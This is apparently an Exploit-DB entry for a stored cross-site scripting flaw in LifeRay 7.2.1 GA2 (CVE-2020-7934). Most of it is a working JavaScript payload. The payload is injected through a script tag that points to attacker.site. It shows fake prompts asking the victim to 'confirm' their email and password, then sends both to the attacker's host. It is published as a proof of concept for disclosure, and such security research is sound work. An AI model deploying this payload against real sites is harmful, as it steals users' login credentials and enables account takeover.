35dd7185fd
6 changes to exploits/shellcodes Boxoft Audio Converter 2.3.0 - '.wav' Buffer Overflow (SEH) MOVEit Transfer 11.1.1 - 'token' Unauthenticated SQL Injection MOVEit Transfer 11.1.1 - 'token' Unauthenticated SQL Injection TP-Link TL-WA855RE V5_200415 - Device Reset Auth Bypass VTiger v7.0 CRM - 'To' Persistent XSS LifeRay 7.2.1 GA2 - Stored XSS
31 lines
No EOL
1.2 KiB
Text
31 lines
No EOL
1.2 KiB
Text
# Exploit Title: LifeRay 7.2.1 GA2 - Stored XSS
|
|
# Date: 10/05/2020
|
|
# Exploit Author: 3ndG4me
|
|
# Vendor Homepage: https://www.liferay.com/
|
|
# Software Link: https://www.liferay.com/
|
|
# Version: 7.1.0 -> 7.2.1 GA2 (REQUIRED)
|
|
# Tested on: Debian Linux
|
|
# CVE : CVE-2020-7934
|
|
# Public Exploit/Whitepaper: https://github.com/3ndG4me/liferay-xss-7.2.1GA2-poc-report-CVE-2020-7934
|
|
|
|
# NOTE: The attached proof of concept is a javascript payload,
|
|
submitted as a ".txt" file to attach via email as ".js" is often
|
|
blocked.
|
|
|
|
// CVE-2020-7934 Cred Phishing Example Attack
|
|
// Author: 3ndG4me
|
|
// Github: https://github.com/3ndG4me/liferay-xss-7.2.1GA2-poc-report-CVE-2020-7934
|
|
|
|
// Host this payload with your site and paste in this script tag into a vulnerable field with your URL replaced where relevant:
|
|
// <SCRIPT SRC="//attacker.site/cve-2020-7934.js">
|
|
|
|
var email = prompt("To process this search we need you to confirm your credentials.\n\nPlease confirm your email:", "");
|
|
var password = prompt("To process this search we need you to confirm your credentials.\n\nPlease confirm your password:", "");
|
|
|
|
|
|
console.log(email);
|
|
console.log(password);
|
|
|
|
var url = "http://attacker.site/" + email + ":" + password;
|
|
|
|
$.get(url); |